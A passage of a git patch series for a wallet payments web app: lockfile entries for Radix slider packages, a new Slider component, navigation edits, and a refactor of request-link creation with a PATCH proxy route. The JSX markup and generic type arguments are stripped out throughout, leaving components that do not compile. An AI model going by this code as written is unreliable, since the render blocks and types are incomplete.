sha512-XnbHrrprsNqZKQhStrSwgRUQzoCI1glLzdw79xiZPoofhGICeZRSQ3dIxAKH1gb3OHfNf4d6f+vAv3kil2eggA==} + '@radix-ui/react-collection@1.1.7': + resolution: {integrity: sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + '@radix-ui/react-compose-refs@1.1.2': resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==} peerDependencies: @@ -2440,6 +2459,15 @@ packages: '@types/react-dom': optional: true + '@radix-ui/react-direction@1.1.1': + resolution: {integrity: sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@radix-ui/react-dismissable-layer@1.1.10': resolution: {integrity: sha512-IM1zzRV4W3HtVgftdQiiOmA0AdJlCtMLe00FXaHwgt3rAnNsIyDqshvkIW3hj/iu5hu8ERP7KIYki6NkqDxAwQ==} peerDependencies: @@ -2523,6 +2551,19 @@ packages: '@types/react-dom': optional: true + '@radix-ui/react-slider@1.3.5': + resolution: {integrity: sha512-rkfe2pU2NBAYfGaxa3Mqosi7VZEWX5CxKaanRv0vZd4Zhl9fvQrg0VM93dv3xGLGfrHuoTRF3JXH8nb9g+B3fw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + '@radix-ui/react-slot@1.2.3': resolution: {integrity: sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==} peerDependencies: @@ -2577,6 +2618,24 @@ packages: '@types/react': optional: true + '@radix-ui/react-use-previous@1.1.1': + resolution: {integrity: sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-size@1.1.1': + resolution: {integrity: sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@react-native/assets-registry@0.77.0': resolution: {integrity: sha512-Ms4tYYAMScgINAXIhE4riCFJPPL/yltughHS950l0VP5sm5glbimn9n7RFn9Tc8cipX74/ddbk19+ydK2iDMmA==} engines: {node: '>=18'} @@ -10476,8 +10535,22 @@ snapshots: - bare-buffer - supports-color + '@radix-ui/number@1.1.1': {} + '@radix-ui/primitive@1.1.2': {} + '@radix-ui/react-collection@1.1.7(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0) + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.18)(react@19.1.0) + react: 19.1.0 + react-dom: 19.1.0(react@19.1.0) + optionalDependencies: + '@types/react': 18.3.18 + '@types/react-dom': 18.3.5(@types/react@18.3.18) + '@radix-ui/react-compose-refs@1.1.2(@types/react@18.3.18)(react@19.1.0)': dependencies: react: 19.1.0 @@ -10512,6 +10585,12 @@ snapshots: '@types/react': 18.3.18 '@types/react-dom': 18.3.5(@types/react@18.3.18) + '@radix-ui/react-direction@1.1.1(@types/react@18.3.18)(react@19.1.0)': + dependencies: + react: 19.1.0 + optionalDependencies: + '@types/react': 18.3.18 + '@radix-ui/react-dismissable-layer@1.1.10(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)': dependencies: '@radix-ui/primitive': 1.1.2 @@ -10578,6 +10657,25 @@ snapshots: '@types/react': 18.3.18 '@types/react-dom': 18.3.5(@types/react@18.3.18) + '@radix-ui/react-slider@1.3.5(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0)': + dependencies: + '@radix-ui/number': 1.1.1 + '@radix-ui/primitive': 1.1.2 + '@radix-ui/react-collection': 1.1.7(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0) + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-direction': 1.1.1(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.5(@types/react@18.3.18))(@types/react@18.3.18)(react-dom@19.1.0(react@19.1.0))(react@19.1.0) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-use-previous': 1.1.1(@types/react@18.3.18)(react@19.1.0) + '@radix-ui/react-use-size': 1.1.1(@types/react@18.3.18)(react@19.1.0) + react: 19.1.0 + react-dom: 19.1.0(react@19.1.0) + optionalDependencies: + '@types/react': 18.3.18 + '@types/react-dom': 18.3.5(@types/react@18.3.18) + '@radix-ui/react-slot@1.2.3(@types/react@18.3.18)(react@19.1.0)': dependencies: '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.18)(react@19.1.0) @@ -10619,6 +10717,19 @@ snapshots: optionalDependencies: '@types/react': 18.3.18 + '@radix-ui/react-use-previous@1.1.1(@types/react@18.3.18)(react@19.1.0)': + dependencies: + react: 19.1.0 + optionalDependencies: + '@types/react': 18.3.18 + + '@radix-ui/react-use-size@1.1.1(@types/react@18.3.18)(react@19.1.0)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.18)(react@19.1.0) + react: 19.1.0 + optionalDependencies: + '@types/react': 18.3.18 + '@react-native/assets-registry@0.77.0': {} '@react-native/babel-plugin-codegen@0.77.0(@babel/preset-env@7.26.0(@babel/core@7.26.0))': diff --git a/src/components/Slider/index.tsx b/src/components/Slider/index.tsx new file mode 100644 index 000000000..8aa2a3711 --- /dev/null +++ b/src/components/Slider/index.tsx @@ -0,0 +1,74 @@ +'use client' + +import * as React from 'react' +import * as SliderPrimitive from '@radix-ui/react-slider' +import { twMerge } from 'tailwind-merge' +import { Icon } from '../Global/Icons/Icon' + +export interface SliderProps + extends Omit< + React.ComponentPropsWithoutRef, + 'value' | 'onValueChange' | 'max' | 'step' | 'defaultValue' + > { + value?: boolean + onValueChange?: (value: boolean) => void + defaultValue?: boolean +} + +const Slider = React.forwardRef, SliderProps>( + ({ className, value, onValueChange, defaultValue, ...props }, ref) => { + const isControlled = value !== undefined + const [uncontrolledState, setUncontrolledState] = React.useState(defaultValue ?? false) + const currentValue = isControlled ? value : uncontrolledState + + const [slidingValue, setSlidingValue] = React.useState(null) + + const displayValue = slidingValue ?? (currentValue ? [100] : [0]) + + const handleValueChange = (newValue: number[]) => { + setSlidingValue(newValue) + } + + const handleValueCommit = (committedValue: number[]) => { + const isChecked = committedValue[0] > 50 + if (onValueChange) { + onValueChange(isChecked) + } + if (!isControlled) { + setUncontrolledState(isChecked) + } + setSlidingValue(null) + } + + return ( + + + +
+ Slide to Proceed +
+
+ +
+ +
+
+
+ ) + } +) +Slider.displayName = SliderPrimitive.Root.displayName + +export { Slider } From 17a8f0ec4fa8f3db2682172c93bd0868826a1752 Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Thu, 10 Jul 2025 21:19:44 +0530 Subject: [PATCH 41/55] fix: update desktop navigation with add/withdraw paths (#969) --- src/components/Global/WalletNavigation/index.tsx | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/components/Global/WalletNavigation/index.tsx b/src/components/Global/WalletNavigation/index.tsx index 95a4c1dcc..ee5522da6 100644 --- a/src/components/Global/WalletNavigation/index.tsx +++ b/src/components/Global/WalletNavigation/index.tsx @@ -18,7 +18,8 @@ type NavPathProps = { const desktopPaths: NavPathProps[] = [ { name: 'Send', href: '/send', icon: 'arrow-up-right', size: 10 }, { name: 'Request', href: '/request', icon: 'arrow-down-left', size: 10 }, - { name: 'Cashout', href: '/cashout', icon: 'arrow-down', size: 12 }, + { name: 'Add', href: '/add-money', icon: 'arrow-down', size: 14 }, + { name: 'Withdraw', href: '/withdraw', icon: 'arrow-up', size: 14 }, { name: 'History', href: '/history', icon: 'history', size: 16 }, { name: 'Docs', href: 'https://docs.peanut.to/', icon: 'docs', size: 16 }, { name: 'Support', href: '/support', icon: 'peanut-support', size: 16 }, @@ -50,7 +51,7 @@ const NavSection: React.FC = ({ paths, pathName }) => ( {name} - {index === 3 &&
} + {index === 4 &&
}
))} From e7520591baf380e03e279066ec3f222899934e7f Mon Sep 17 00:00:00 2001 From: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> Date: Thu, 10 Jul 2025 12:53:55 -0300 Subject: [PATCH 42/55] [TASK-11884] request via link with comment and attachment is creating 2 txs in the history (#943) * PATCH implemented in frontend * comment input state updating correctly (onBlur) * freezing amount after updating comments/files input * debounce attachment options and update requests on file change (avoiding race conditions when attaching files!) * style: Apply prettier formatting * removed malicious code Signed-off-by: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> * PATCH method using withFormData * better onBlur logic * bug fixes * blur logic fixed * nit pick comments * code rabbit suggestion * replaced useEffect setting state with derived state and debouncing * disabling amount input after request creation * linting --------- Signed-off-by: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> --- .../api/proxy/withFormData/[...slug]/route.ts | 21 +- .../Global/FileUploadInput/index.tsx | 8 + .../Global/TokenAmountInput/index.tsx | 5 + .../link/views/Create.request.link.view.tsx | 496 ++++++++---------- src/hooks/useDebounce.ts | 23 + src/services/requests.ts | 21 + 6 files changed, 305 insertions(+), 269 deletions(-) create mode 100644 src/hooks/useDebounce.ts diff --git a/src/app/api/proxy/withFormData/[...slug]/route.ts b/src/app/api/proxy/withFormData/[...slug]/route.ts index e9a93a737..947216215 100644 --- a/src/app/api/proxy/withFormData/[...slug]/route.ts +++ b/src/app/api/proxy/withFormData/[...slug]/route.ts @@ -2,7 +2,7 @@ import { NextRequest, NextResponse } from 'next/server' import { PEANUT_API_URL } from '@/constants' import { fetchWithSentry } from '@/utils' -export async function POST(request: NextRequest) { +async function handleFormDataRequest(request: NextRequest, method: string) { const separator = '/api/proxy/withFormData/' const indexOfSeparator = request.url.indexOf(separator) const endpointToCall = request.url.substring(indexOfSeparator + separator.length) @@ -14,11 +14,18 @@ export async function POST(request: NextRequest) { formData.forEach((value, key) => { apiFormData.append(key, value) }) + + const apiKey = process.env.PEANUT_API_KEY + if (!apiKey) { + console.error('PEANUT_API_KEY environment variable is not set') + return NextResponse.json({ error: 'Server configuration error' }, { status: 500 }) + } + const response = await fetchWithSentry(fullAPIUrl, { - method: 'POST', + method, headers: { // Don't set Content-Type header, let it be automatically set as multipart/form-data - 'api-key': process.env.PEANUT_API_KEY!, + 'api-key': apiKey, }, body: apiFormData, }) @@ -30,3 +37,11 @@ export async function POST(request: NextRequest) { statusText: response.statusText, }) } + +export async function POST(request: NextRequest) { + return handleFormDataRequest(request, 'POST') +} + +export async function PATCH(request: NextRequest) { + return handleFormDataRequest(request, 'PATCH') +} diff --git a/src/components/Global/FileUploadInput/index.tsx b/src/components/Global/FileUploadInput/index.tsx index 24664ab26..80c3f7cb7 100644 --- a/src/components/Global/FileUploadInput/index.tsx +++ b/src/components/Global/FileUploadInput/index.tsx @@ -18,6 +18,7 @@ export interface IFileUploadInputProps { }) => void placeholder?: string className?: HTMLInputElement['className'] + onBlur?: () => void } const FileUploadInput = ({ @@ -25,6 +26,7 @@ const FileUploadInput = ({ setAttachmentOptions, placeholder, className, + onBlur, }: IFileUploadInputProps) => { const [fileType, setFileType] = useState('') @@ -33,6 +35,8 @@ const FileUploadInput = ({ if (file) { const url = URL.createObjectURL(file) setAttachmentOptions({ message: attachmentOptions.message, fileUrl: url, rawFile: file }) + // Trigger update when file is attached + onBlur?.() } } @@ -47,6 +51,9 @@ const FileUploadInput = ({ if (fileInput) { fileInput.value = '' } + + // Trigger update when file is deleted + onBlur?.() } useEffect(() => { @@ -106,6 +113,7 @@ const FileUploadInput = ({ rawFile: attachmentOptions.rawFile, }) } + onBlur={onBlur} />{' '}
) diff --git a/src/components/Global/TokenAmountInput/index.tsx b/src/components/Global/TokenAmountInput/index.tsx index 98690519c..39387c799 100644 --- a/src/components/Global/TokenAmountInput/index.tsx +++ b/src/components/Global/TokenAmountInput/index.tsx @@ -11,6 +11,7 @@ interface TokenAmountInputProps { setUsdValue?: (usdvalue: string) => void setCurrencyAmount?: (currencyvalue: string | undefined) => void onSubmit?: () => void + onBlur?: () => void disabled?: boolean walletBalance?: string currency?: { @@ -28,6 +29,7 @@ const TokenAmountInput = ({ setTokenValue, setCurrencyAmount, onSubmit, + onBlur, disabled, walletBalance, currency, @@ -220,6 +222,9 @@ const TokenAmountInput = ({ if (onSubmit) onSubmit() } }} + onBlur={() => { + if (onBlur) onBlur() + }} disabled={disabled} />
diff --git a/src/components/Request/link/views/Create.request.link.view.tsx b/src/components/Request/link/views/Create.request.link.view.tsx index 7aeb95697..03926f752 100644 --- a/src/components/Request/link/views/Create.request.link.view.tsx +++ b/src/components/Request/link/views/Create.request.link.view.tsx @@ -18,12 +18,13 @@ import { IToken } from '@/interfaces' import { IAttachmentOptions } from '@/redux/types/send-flow.types' import { chargesApi } from '@/services/charges' import { requestsApi } from '@/services/requests' +import { TRequestResponse } from '@/services/services.types' import { fetchTokenSymbol, getRequestLink, isNativeCurrency, printableUsdc } from '@/utils' import * as Sentry from '@sentry/nextjs' import { interfaces as peanutInterfaces } from '@squirrel-labs/peanut-sdk' import { useQueryClient } from '@tanstack/react-query' import { useRouter } from 'next/navigation' -import { useCallback, useContext, useEffect, useMemo, useRef, useState } from 'react' +import { useCallback, useContext, useMemo, useRef, useState } from 'react' export const CreateRequestLinkView = () => { const toast = useToast() @@ -41,115 +42,130 @@ export const CreateRequestLinkView = () => { const { setLoadingState } = useContext(context.loadingStateContext) const queryClient = useQueryClient() - const peanutWalletBalance = useMemo(() => { - return printableUsdc(balance) - }, [balance]) - - // component-specific states - const [tokenValue, setTokenValue] = useState(undefined) - const [usdValue, setUsdValue] = useState(undefined) + // Core state + const [tokenValue, setTokenValue] = useState('') const [attachmentOptions, setAttachmentOptions] = useState({ message: '', fileUrl: '', rawFile: undefined, }) - const [recipientAddress, setRecipientAddress] = useState('') const [errorState, setErrorState] = useState<{ showError: boolean errorMessage: string }>({ showError: false, errorMessage: '' }) - const [isValidRecipient, setIsValidRecipient] = useState(false) const [generatedLink, setGeneratedLink] = useState(null) + const [requestId, setRequestId] = useState(null) const [isCreatingLink, setIsCreatingLink] = useState(false) - const [debouncedAttachmentOptions, setDebouncedAttachmentOptions] = - useState(attachmentOptions) - const debounceTimerRef = useRef(null) + const [isUpdatingRequest, setIsUpdatingRequest] = useState(false) + + // Track the last saved state to determine if updates are needed + const lastSavedAttachmentRef = useRef({ + message: '', + fileUrl: '', + rawFile: undefined, + }) - const [_tokenValue, _setTokenValue] = useState(tokenValue ?? '') + // Refs for cleanup + const createLinkAbortRef = useRef(null) - // debounced token value - const [debouncedTokenValue, setDebouncedTokenValue] = useState(_tokenValue) - const tokenDebounceTimerRef = useRef(null) + // Derived state + const peanutWalletBalance = useMemo(() => printableUsdc(balance), [balance]) - const hasAttachment = !!attachmentOptions?.rawFile || !!attachmentOptions?.message + const usdValue = useMemo(() => { + if (!selectedTokenPrice || !tokenValue) return '' + return (parseFloat(tokenValue) * selectedTokenPrice).toString() + }, [tokenValue, selectedTokenPrice]) + + const recipientAddress = useMemo(() => { + if (!isConnected || !address) return '' + return address + }, [isConnected, address]) + + const isValidRecipient = useMemo(() => { + return isConnected && !!address + }, [isConnected, address]) + + const hasAttachment = useMemo(() => { + return !!(attachmentOptions.rawFile || attachmentOptions.message) + }, [attachmentOptions.rawFile, attachmentOptions.message]) const qrCodeLink = useMemo(() => { if (generatedLink) return generatedLink - // use debouncedTokenValue when in the process of creating a link with attachment - const valueToShow = hasAttachment && isCreatingLink ? debouncedTokenValue : _tokenValue - - return `${window.location.origin}${valueToShow ? `/${user?.user.username}/${valueToShow}USDC` : `/send/${user?.user.username}`}` - }, [user?.user.username, _tokenValue, debouncedTokenValue, generatedLink, hasAttachment, isCreatingLink]) + return `${window.location.origin}${ + tokenValue ? `/${user?.user.username}/${tokenValue}USDC` : `/send/${user?.user.username}` + }` + }, [user?.user.username, tokenValue, generatedLink]) const createRequestLink = useCallback( - async ({ - recipientAddress, - tokenAddress, - chainId, - tokenValue, - tokenData, - attachmentOptions, - }: { - recipientAddress: string | undefined - tokenAddress: string - chainId: string - tokenValue: string | undefined - tokenData: Pick | undefined - attachmentOptions: IFileUploadInputProps['attachmentOptions'] - }) => { + async (attachmentOptions: IAttachmentOptions) => { if (!recipientAddress) { setErrorState({ showError: true, errorMessage: 'Please enter a recipient address', }) - return + return null } - if (!tokenValue) { - if ( - (attachmentOptions?.message && attachmentOptions.message !== ' ') || - attachmentOptions?.rawFile || - attachmentOptions?.fileUrl - ) { - setErrorState({ - showError: true, - errorMessage: 'Please enter a token amount', - }) - return - } - return + + if (!tokenValue || parseFloat(tokenValue) <= 0) { + setErrorState({ + showError: true, + errorMessage: 'Please enter a token amount', + }) + return null + } + + // Cleanup previous request + if (createLinkAbortRef.current) { + createLinkAbortRef.current.abort() } + createLinkAbortRef.current = new AbortController() setIsCreatingLink(true) setLoadingState('Creating link') + setErrorState({ showError: false, errorMessage: '' }) - if (!tokenData) { - const tokenDetails = await fetchTokenDetails(tokenAddress, chainId) - tokenData = { - address: tokenAddress, - chainId, - symbol: (await fetchTokenSymbol(tokenAddress, chainId)) ?? '', - decimals: tokenDetails.decimals, - } - } try { - let inputValue = tokenValue + let tokenData: Pick + if (selectedTokenData) { + tokenData = { + chainId: selectedTokenData.chainId, + address: selectedTokenData.address, + decimals: selectedTokenData.decimals, + symbol: selectedTokenData.symbol, + } + } else { + const tokenDetails = await fetchTokenDetails(selectedTokenAddress, selectedChainID) + tokenData = { + address: selectedTokenAddress, + chainId: selectedChainID, + symbol: (await fetchTokenSymbol(selectedTokenAddress, selectedChainID)) ?? '', + decimals: tokenDetails.decimals, + } + } + const tokenType = isNativeCurrency(tokenData.address) ? peanutInterfaces.EPeanutLinkType.native : peanutInterfaces.EPeanutLinkType.erc20 - const requestDetails = await requestsApi.create({ + + const requestData = { chainId: tokenData.chainId, - tokenAmount: inputValue, + tokenAmount: tokenValue, recipientAddress, tokenAddress: tokenData.address, tokenDecimals: tokenData.decimals.toString(), tokenType: tokenType.valueOf().toString(), tokenSymbol: tokenData.symbol, - reference: attachmentOptions?.message, - attachment: attachmentOptions?.rawFile, - mimeType: attachmentOptions?.rawFile?.type, - filename: attachmentOptions?.rawFile?.name, - }) + reference: attachmentOptions.message || undefined, + attachment: attachmentOptions.rawFile || undefined, + mimeType: attachmentOptions.rawFile?.type || undefined, + filename: attachmentOptions.rawFile?.name || undefined, + } + + // POST new request + const requestDetails = await requestsApi.create(requestData) + setRequestId(requestDetails.uuid) + const charge = await chargesApi.create({ pricing_type: 'fixed_price', local_price: { @@ -159,15 +175,23 @@ export const CreateRequestLinkView = () => { baseUrl: BASE_URL, requestId: requestDetails.uuid, }) + const link = getRequestLink({ ...requestDetails, uuid: undefined, chargeId: charge.data.id, }) + + // Update the last saved state + lastSavedAttachmentRef.current = { ...attachmentOptions } + toast.success('Link created successfully!') queryClient.invalidateQueries({ queryKey: [TRANSACTIONS] }) return link } catch (error) { + if (error && typeof error === 'object' && 'name' in error && error.name === 'AbortError') { + return null + } setErrorState({ showError: true, errorMessage: 'Failed to create link', @@ -175,206 +199,156 @@ export const CreateRequestLinkView = () => { console.error('Failed to create link:', error) Sentry.captureException(error) toast.error('Failed to create link') - return '' + return null } finally { setLoadingState('Idle') setIsCreatingLink(false) } }, - [user?.user.username, toast] - ) - - const handleOnNext = useCallback( - async ({ + [ recipientAddress, - tokenAddress, - chainId, tokenValue, - tokenData, - attachmentOptions, - }: { - recipientAddress: string | undefined - tokenAddress: string - chainId: string - tokenValue: string | undefined - tokenData: Pick | undefined - attachmentOptions: IFileUploadInputProps['attachmentOptions'] - }) => { - const link = await createRequestLink({ - recipientAddress, - tokenAddress, - chainId, - tokenValue, - tokenData, - attachmentOptions, - }) - setGeneratedLink(link ?? null) - }, - [createRequestLink] + selectedTokenData, + selectedTokenAddress, + selectedChainID, + toast, + queryClient, + setLoadingState, + ] ) - const generateLink = useCallback(async () => { - if (generatedLink) return generatedLink - if (Number(tokenValue) === 0) return qrCodeLink - setIsCreatingLink(true) - const link = await createRequestLink({ - recipientAddress, - tokenAddress: selectedTokenAddress, - chainId: selectedChainID, - tokenValue, - tokenData: selectedTokenData, - attachmentOptions: { - message: ' ', - fileUrl: undefined, - rawFile: undefined, - }, - }) - setGeneratedLink(link ?? null) - setIsCreatingLink(false) - return link ?? '' - }, [ - recipientAddress, - generatedLink, - qrCodeLink, - tokenValue, - selectedTokenAddress, - selectedChainID, - selectedTokenData, - createRequestLink, - ]) - - useEffect(() => { - if (!_tokenValue) { - setTokenValue('') - setUsdValue('') - setGeneratedLink(null) - } - setTokenValue(_tokenValue) - if (selectedTokenPrice) { - setUsdValue((parseFloat(_tokenValue) * selectedTokenPrice).toString()) - } - }, [_tokenValue]) + const updateRequestLink = useCallback( + async (attachmentOptions: IAttachmentOptions) => { + if (!requestId) return null - useEffect(() => { - if (!isConnected) { - setRecipientAddress('') - setIsValidRecipient(false) - return - } + setIsUpdatingRequest(true) + setLoadingState('Requesting') + setErrorState({ showError: false, errorMessage: '' }) - if (address) { - setRecipientAddress(address) - setIsValidRecipient(true) - setSelectedChainID(PEANUT_WALLET_CHAIN.id.toString()) - setSelectedTokenAddress(PEANUT_WALLET_TOKEN) - } - }, [isConnected, address]) + try { + const requestData = { + reference: attachmentOptions.message || undefined, + attachment: attachmentOptions.rawFile || undefined, + mimeType: attachmentOptions.rawFile?.type || undefined, + filename: attachmentOptions.rawFile?.name || undefined, + } - // debounce attachment options changes, especially for text messages - useEffect(() => { - // clear any existing timer - if (debounceTimerRef.current) { - clearTimeout(debounceTimerRef.current) - } + // PATCH existing request + await requestsApi.update(requestId, requestData) - // reset error state when attachment options change - setErrorState({ showError: false, errorMessage: '' }) + // Update the last saved state + lastSavedAttachmentRef.current = { ...attachmentOptions } - // check if attachments are completely cleared - const hasNoAttachments = !attachmentOptions?.rawFile && !attachmentOptions?.message + toast.success('Request updated successfully!') + queryClient.invalidateQueries({ queryKey: [TRANSACTIONS] }) + return generatedLink + } catch (error) { + setErrorState({ + showError: true, + errorMessage: 'Failed to update request', + }) + console.error('Failed to update request:', error) + Sentry.captureException(error) + toast.error('Failed to update request') + return null + } finally { + setLoadingState('Idle') + setIsUpdatingRequest(false) + } + }, + [requestId, generatedLink, toast, queryClient, setLoadingState] + ) - if (hasNoAttachments) { - // reset generated link when attachments are completely cleared - setGeneratedLink(null) - } else { - // reset generated link when attachment options change (adding or modifying) - setGeneratedLink(null) - } + const hasUnsavedChanges = useMemo(() => { + if (!requestId) return false + + const lastSaved = lastSavedAttachmentRef.current + return lastSaved.message !== attachmentOptions.message || lastSaved.rawFile !== attachmentOptions.rawFile + }, [requestId, attachmentOptions.message, attachmentOptions.rawFile]) + + const handleTokenValueChange = useCallback( + (value: string | undefined) => { + const newValue = value || '' + setTokenValue(newValue) + + // Reset link and request when token value changes + if (newValue !== tokenValue) { + setGeneratedLink(null) + setRequestId(null) + lastSavedAttachmentRef.current = { + message: '', + fileUrl: '', + rawFile: undefined, + } + } + }, + [tokenValue] + ) - // for file attachments, update immediately - if (attachmentOptions?.rawFile) { - setDebouncedAttachmentOptions(attachmentOptions) - return - } + const handleAttachmentOptionsChange = useCallback( + (options: IAttachmentOptions) => { + setAttachmentOptions(options) + setErrorState({ showError: false, errorMessage: '' }) + + // Reset link and request when attachments are completely cleared + if (!options.rawFile && !options.message) { + setGeneratedLink(null) + setRequestId(null) + lastSavedAttachmentRef.current = { + message: '', + fileUrl: '', + rawFile: undefined, + } + } - // for text messages, debounce for 3 seconds - if (attachmentOptions?.message) { - // set a timer for the debounced update - debounceTimerRef.current = setTimeout(() => { - setDebouncedAttachmentOptions(attachmentOptions) - }, 3000) // 3 second debounce - } else { - // If no message, update immediately - setDebouncedAttachmentOptions(attachmentOptions) - } + // If file was added/changed and we have a request, update it immediately + if (requestId && options.rawFile !== lastSavedAttachmentRef.current.rawFile) { + updateRequestLink(options) + } + }, + [requestId, updateRequestLink] + ) - // cleanup function - return () => { - if (debounceTimerRef.current) { - clearTimeout(debounceTimerRef.current) + const handleTokenAmountSubmit = useCallback(async () => { + if (!tokenValue || parseFloat(tokenValue) <= 0) return + + if (!generatedLink) { + // POST: Create new request + const link = await createRequestLink(attachmentOptions) + if (link) { + setGeneratedLink(link) } + } else if (hasUnsavedChanges) { + // PATCH: Update existing request + await updateRequestLink(attachmentOptions) } - }, [attachmentOptions]) + }, [tokenValue, generatedLink, attachmentOptions, hasUnsavedChanges, createRequestLink, updateRequestLink]) - // debounce token value - useEffect(() => { - // clear timer - if (tokenDebounceTimerRef.current) { - clearTimeout(tokenDebounceTimerRef.current) + const handleAttachmentBlur = useCallback(async () => { + if (requestId && hasUnsavedChanges) { + await updateRequestLink(attachmentOptions) } + }, [requestId, hasUnsavedChanges, attachmentOptions, updateRequestLink]) - // set timer for the debounced update - tokenDebounceTimerRef.current = setTimeout(() => { - setDebouncedTokenValue(_tokenValue) - }, 1000) // 1 second debounce + const generateLink = useCallback(async () => { + if (generatedLink) return generatedLink + if (Number(tokenValue) === 0) return qrCodeLink - // cleanup function - return () => { - if (tokenDebounceTimerRef.current) { - clearTimeout(tokenDebounceTimerRef.current) - } + // Create new request when share button is clicked + const link = await createRequestLink(attachmentOptions) + if (link) { + setGeneratedLink(link) } - }, [_tokenValue]) - - // handle link creation based on input changes - useEffect(() => { - // only create link if there's an attachment, valid recipient, token value, and no link already being created and debounced token value matches the current token value - if ( - hasAttachment && - isValidRecipient && - debouncedTokenValue && - !isCreatingLink && - debouncedTokenValue === _tokenValue - ) { - // check if we need to create a new link (either no link exists or token value changed) - if (!generatedLink) { - handleOnNext({ - recipientAddress, - tokenAddress: selectedTokenAddress, - chainId: selectedChainID, - tokenValue, - tokenData: selectedTokenData, - attachmentOptions: debouncedAttachmentOptions, - }) - } + return link || '' + }, [generatedLink, qrCodeLink, tokenValue, attachmentOptions, createRequestLink]) + + // Set wallet defaults when connected + useMemo(() => { + if (isConnected && address) { + setSelectedChainID(PEANUT_WALLET_CHAIN.id.toString()) + setSelectedTokenAddress(PEANUT_WALLET_TOKEN) } - }, [ - debouncedAttachmentOptions, - debouncedTokenValue, - isValidRecipient, - isCreatingLink, - generatedLink, - _tokenValue, - recipientAddress, - ]) - - // check for token value debouncing - const isDebouncing = - (hasAttachment && - attachmentOptions?.message && - (!debouncedAttachmentOptions?.message || - debouncedAttachmentOptions.message !== attachmentOptions.message)) || - (hasAttachment && _tokenValue !== debouncedTokenValue) + }, [isConnected, address, setSelectedChainID, setSelectedTokenAddress]) return (
@@ -382,49 +356,39 @@ export const CreateRequestLinkView = () => {
- + { - _setTokenValue(value ?? '') - // reset generated link when token value changes - setGeneratedLink(null) - }} - tokenValue={_tokenValue} - onSubmit={() => { - if (hasAttachment && !generatedLink && !isDebouncing) { - handleOnNext({ - recipientAddress, - tokenAddress: selectedTokenAddress, - chainId: selectedChainID, - tokenValue, - tokenData: selectedTokenData, - attachmentOptions, - }) - } - }} + setTokenValue={handleTokenValueChange} + tokenValue={tokenValue} + onSubmit={handleTokenAmountSubmit} + onBlur={handleTokenAmountSubmit} walletBalance={peanutWalletBalance} + disabled={!!generatedLink} /> + - {(hasAttachment && isCreatingLink) || isDebouncing ? ( + {isCreatingLink || isUpdatingRequest ? ( ) : ( Share Link )} + {errorState.showError && (
- +
)}
